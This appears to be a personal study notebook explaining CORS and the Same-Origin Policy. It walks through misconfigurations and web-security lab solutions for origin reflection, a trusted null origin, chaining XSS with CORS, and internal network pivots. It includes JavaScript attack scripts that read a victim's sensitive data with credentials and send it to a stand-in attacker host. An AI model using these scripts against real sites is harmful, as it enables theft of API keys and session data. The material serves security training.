CORS
Cross Origin Resource Sharing - Client Side
What? It is a browser mechanism that allows controlled access to resources from other domains. Based and expands upon SOP (Same-Origin Policy).
Impact? Misconfigurations may allow for cross-domain attacks. Here the resources on the page maybe able to interact with other domains, thereby for instance any malicious javascript on the page, will be able to access and post cookies of compromised site to malicious domain.
Myth: Protects against CSRF (T:Doesn't)
Why? By design, web browsers implement SOP that prevents resources from a domain to access resources from another domain origin. For example, an attacker is able to
Same-Origin Policy
Two URLs have the same origin if the protocol, port (if specified), and host are the same for both.
How it works? It restricts scripts of one origin from accessing data from another origin. (Browser mechanism)
What is considered same-origin access? The port and sub-domain if different between resource of origin and end, then same-origin restricts this access. On the other hand, if only the sub-directory is different, no same-origin restrictions apply. Note: Internet-explorer allows same-origin access if ports different,rest same.
Why? When browsers send HTTP request (e.g from scripts), from origin to another, cookies and other tokens like authentication tokens are sent as part of the request. It is important that only tokens relevant to the other domain are sent in the request and no tokens of the origin domain. This isolation based on domains/ports is important to prevent any malicious site to steal tokens,.. of another site the user has visited. E.g a malicious site will be able to get tokens(cookies) of facebook and takeover victim account.
How? Cross-origin loading of page-resource is permitted, by a webpage. The page-resources means any content that is loaded/embedded into the page. This means that the you can load contents (image,media,javascript) from multiple domains like an image from a.com and b.com (into html tags). Now, between these resources themselves, they can't access each other and each others document (DOM).
Script can change its origin to superdomain, then it will be used for origin checks. But, it can't change to domain that is not its superset.
Consider the following from the perspective of what the origin of the page below is? If a page from b.a.com/a.html is loaded (inside embed of another page) and script inside it changes the origin to a.com (using document.domain = "a.com"). Now, this page passes origin check with a.com/b.html if and only if a.com/b.html also sets its domain to a.com. But,
Types of Cross origin access: 1. XMLHttpRequest 2. Embeded in page. e.g using tags <img>.
Same-Origin Implementation cross-origin/api-access
Cross-origin writes are typically allowed. Examples are links, redirects, and form submissions. Some HTTP requests require preflight.
Some objects are writable but not readable cross-domain, such as the
locationobject or thelocation.hrefproperty from iframes or new windows.
Cross-origin embedding is typically allowed. (Examples are listed below.)
JavaScript with
<script src="…"></script>. Error details for syntax errors are only available for same-origin scripts.CSS applied with
<link rel="stylesheet" href="…">. Due to the relaxed syntax rules of CSS, cross-origin CSS requires a correctContent-Typeheader. Restrictions vary by browser: Internet Explorer, Firefox, Chrome , Safari (scroll down to CVE-2010-0051) and Opera.Images displayed by
<img>.Fonts applied with
@font-face. Some browsers allow cross-origin fonts, others require same-origin.Anything embedded by
<iframe>. Sites can use theX-Frame-Optionsheader to prevent cross-origin framing.
Cross-origin reads are typically disallowed, but read access is often leaked by embedding. For example, you can read the dimensions of an embedded image, the actions of an embedded script, or the availability of an embedded resource.
Some objects are readable but not writable cross-domain, such as the
lengthproperty of thewindowobject (which stores the number of frames being used on the page) and theclosedproperty.
The
replacefunction can generally be called cross-domain on thelocationobject.You can call certain functions cross-domain. For example, you can call the functions
close,blurandfocuson a new window. ThepostMessagefunction can also be called on iframes and new windows in order to send messages from one domain to another.
Exceptions To relax same-origin policy:
Cokkies are accessible from all subdomains, even subdomains are considered as other origin. To prevent: use HttpOnly cookie flag.
document.domain parameter can allow b.a.com to read contents on a.com domain
Access-Control-Allow-Origin response header
Server CORS configs
Access-Control-Allow-Origin header
Used to relax Same-Origin policy. This header is included in response from a site, when request originates from another website (domain). Server compares if this header with the domain of website of origin and permits it if they match.
Basically if want to allow cross domain resource sharing, the server needs to respond with origin in this header in response (set in server config), else server/browser will not allow access to resource.
How this header is implemented:
Include Origin header in the request, if the same domain is included in the responses' Access-Control-Allow-Origin header, then the server allows code access to response as origins match.
E.g
If website with a.com sends request with Origin: header sends cross-domain request to b.com, if b.com response with Access-Control-Allow-Origin: a.com.
The browser allows scripts running on a.com be able to access response.
CORS with wildcards:
Access-Control-Allow-Origin: *
But, wild cards don't work (with other values) as below:
Access-Control-Allow-Origin: https://*.normal-website.com
Cross-origin resource request with credentials.
The Access-Control-Allow-Credentials response header tells browsers whether to expose the response to the frontend JavaScript code when the request's credentials mode (Request.credentials) is include., browsers will only expose the response to the frontend JavaScript code if the Access-Control-Allow-Credentials value is true.
To allow cross-origin resource, but credentials needed by response server.
For server to permit reading of the response when credentials are passed to it, set Access-Control-Allow-Credentials to true.
Request:
GET /data HTTP/1.1 Host: robust-website.com ... Origin: https://normal-website.com Cookie: JSESSIONID=<value>
Response:
HTTP/1.1 200 OK ... Access-Control-Allow-Origin: https://normal-website.com Access-Control-Allow-Credentials: true
CORS Preflight specs
A preflight request is automatically issued by a browser before intended request is initiated.
It is an OPTIONS request, using three HTTP request headers: Access-Control-Request-Method, Access-Control-Request-Headers, and the Origin header.
For-standard HTTP methods like OPTIONS.
The preflight response can be optionally cached for the requests created in the same URL using Access-Control-Max-Age header like in the above example for reuse.
If the request methods and headers are permitted (as they are in this example) then the browser processes the cross-origin request in the usual way.
CORS protects against CSRF?
NO, cors help to lesses same-origin hold in cross-domain requests. Hence, it in no way protects against csrf, and on the other hand misconfigured cors will allow instead increase possibility of csrf, by bypassing any same-origin restrictions if any.If CORS is misconfigured, and allows for wildcard request origins (Access-Control-Allow-Origin: *) , then server will anyhow accept request from any origin.
CORS misconfig vulnerabilities.
Most CORS attacks rely on the presence of the response header:
Access-Control-Allow-Credentials: true
other is critical functionality that doesnt' require authentication usually the internal network assets.
Misconfigurations in websites arise when developers configure cors for access 3rd party site,subdomains,etc. If cors set leniently for the same like withcard access permitted, vulnerabilities arise.
- Server-generated ACAO header from client-specified Origin header:
Instead of maintaining allowed domains, developers become lazy and in a way implement SOP by setting ACAO based on the Origin header of the request. This allows any cross-domain to go through. For eg.
GET /sensitive-victim-data HTTP/1.1 Host: vulnerable-website.com Origin: https://malicious-website.com Cookie: sessionid=...HTTP/1.1 200 OK Access-Control-Allow-Origin: https://malicious-website.com Access-Control-Allow-Credentials: true ...Thereby server reflect any origins sent by attacker in the ACAO headers, allowing any origin to access the resource. Impact: If the server response contains sensitive APIkey, CSRF tokens, and cookies, they can be retrieved by the attacker. Attack Script:var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://vulnerable-website.com/sensitive-victim-data',true); req.withCredentials = true; req.send(); function reqListener() { location='//malicious-website.com/log?key='+this.responseText; }; Lab 1:CORS vulnerability with basic origin reflectionTask:This website has an insecure CORS configuration in that it trusts all origins.To solve the lab, craft some JavaScript that uses CORS to retrieve the administrator's API key and upload the code to your exploit server. The lab is solved when you successfully submit the administrator's API key.
You can log in to your own account using the following credentials:
wiener:peter
Means that cookies are retrievable, Meaning, this domain allows resources from other domains access tocookies available in the browser for this domain. So on our malicious page script can use "xhttp.withCredentials = true;"This will allow it to use cookies available for this domain(in the browser), when performing requests to fetch the api. Need to test if accessing from any origin we can same HEADER is returned






Final exploit for burp: Changes (Just catered to burp academy requirements to work: - Changed from button to function execution to "onload" - Exfiltration server changed to GET request and to burp log endpoint as burp academy doesn't make requests to my collaborator server due to Burps' security reasons.

We will host a javascript on a attacker server, and lore the admin to visit it. On visiting the page, our javascript will fetch the /accountDetails resource that provides the apikey. We will then post this apikey using the same script to attacker (burp collaborator for instance).
To genetate our malicious javascript CORS request page. Install the following extension to disable cors: https://addons.mozilla.org/en-US/firefox/addon/cors-everywhere/ Creating sample html page that requests our server:

2. Error Parsing Origin headers:
Server matches the request origin against a whitelist of allowed origins. If matches, origin is returned in the ACAO header.
The whitelist may contain subdomains or even other domains.
The whitelist check is performed on prefixes, suffixes, etc. This check implemetation can be bypassed.
For instance, domain check bypass: example.com is whitelisted, attacker uses -> hackerexample.com. If entire subdomain, example.com - whitelisted, example.hacker.com - attacker uses.
3. Whitelisted null origin value
Origin header supports "null" value. Usually used by browsers for: . cross-origin redirects. . request from serialized data. . request using file:protocol. . sanboxed cross-origin requests.
null origin also can be whitelisted for local development, later taken to production. If null origin is allowed, below should be the result:
GET /sensitive-victim-data
Host: vulnerable-website.com
Origin: null
HTTP/1.1 200 OK
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
iframe attack could be performed as below:
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','vulnerable-website.com/sensitive-victim-data',true);
req.withCredentials = true;
req.send();
function reqListener() { location='malicious-website.com/log?key='+this.responseText; };
</script>"></iframe>
Lab: CORS vulnerability with trusted null origin
CORS supports null origin. Craft JavaScript that uses cors to retrieve API key and upload it to exploit server.
Breakdown:
create js that requests using null origin to get apikey from my-account.
post apikey to server using get request param to attacker server
Victim visits our malicious page, and request is performed to fetch apikey, and it is later sent to exfiltration server.






Final Script:
To hardcode origin header in fetch api requests:
Exploiting XSS via CORS trust relationships
https://bugbaba.blogspot.com/2018/02/exploiting-cors-miss-configuration.html We send victim the xss link, on visiting the link, xss is triggered and the xss will perform cors requests to some sensitive endpoint. The endpoint response is then returned to xss script that is further sent to the attackers server. Basically, its just about using xss instead of an html page to make victim do actions. (In reference to the previous lab done). Simply chaining xss and cors for a complex attack in terms of delivery to victim.
Breaking TLS with poorly configured CORS
Application using HTTPS also whitelists a trusted subdomain when it uses plain HTTP.
Origin: http://trusted-subdomain.vulnerable-website.com
Access-Control-Allow-Origin: http://trusted-subdomain.vulnerable-website.com Access-Control-Allow-Credentials: true

XSS to CORS CORS vulnerability with trusted insecure protocols: This lab is not related to HTTP as for MiTM need to be on same network as victim. So, need to find a way to server js to victim, meaning a XSS.
"check stock" functionality that takes parameters, productID vuln to xss:


2.
Origin : stock is trusted, so xss requests will not be blocked.
3.
Xss payload
is similar to the previous CORS script that is urlencoded and inserted into productID. 

4. In exploit server, will provide a html page that when loaded opens our stock.subdomain url.
we use document.location as burp solution. When this html is opened, it opens the xss links from where the cors request is sent.
Intranets and CORS without credentials
CORS vulnerability with internal network pivot attack
If users within the private IP address space access the public internet then a CORS-based attack can be performed from the external site that uses the victim's browser as a proxy for accessing intranet resources.
For the lab, steps breakdown:
1. JavaScript to locate an endpoint on the local network (192.168.0.0/24, port 8080) that you can then use to identify
2. create a CORS-based attack to delete a user.

Reports: https://hackerone.com/reports/426147 https://hackerone.com/reports/235200
Code: https://stackoverflow.com/questions/69063120/how-to-store-xmlhttprequest-response-as-variable https://web.dev/javascript-async-functions/ https://www.pluralsight.com/guides/handling-nested-http-requests-using-the-fetch-api
Blogs: https://web-in-security.blogspot.com/2017/07/cors-misconfigurations-on-large-scale.html https://velog.io/@ppou/CORS-VulnerabilityExploiting-XSS-via-CORS-trust-relationships
Last updated
Was this helpful?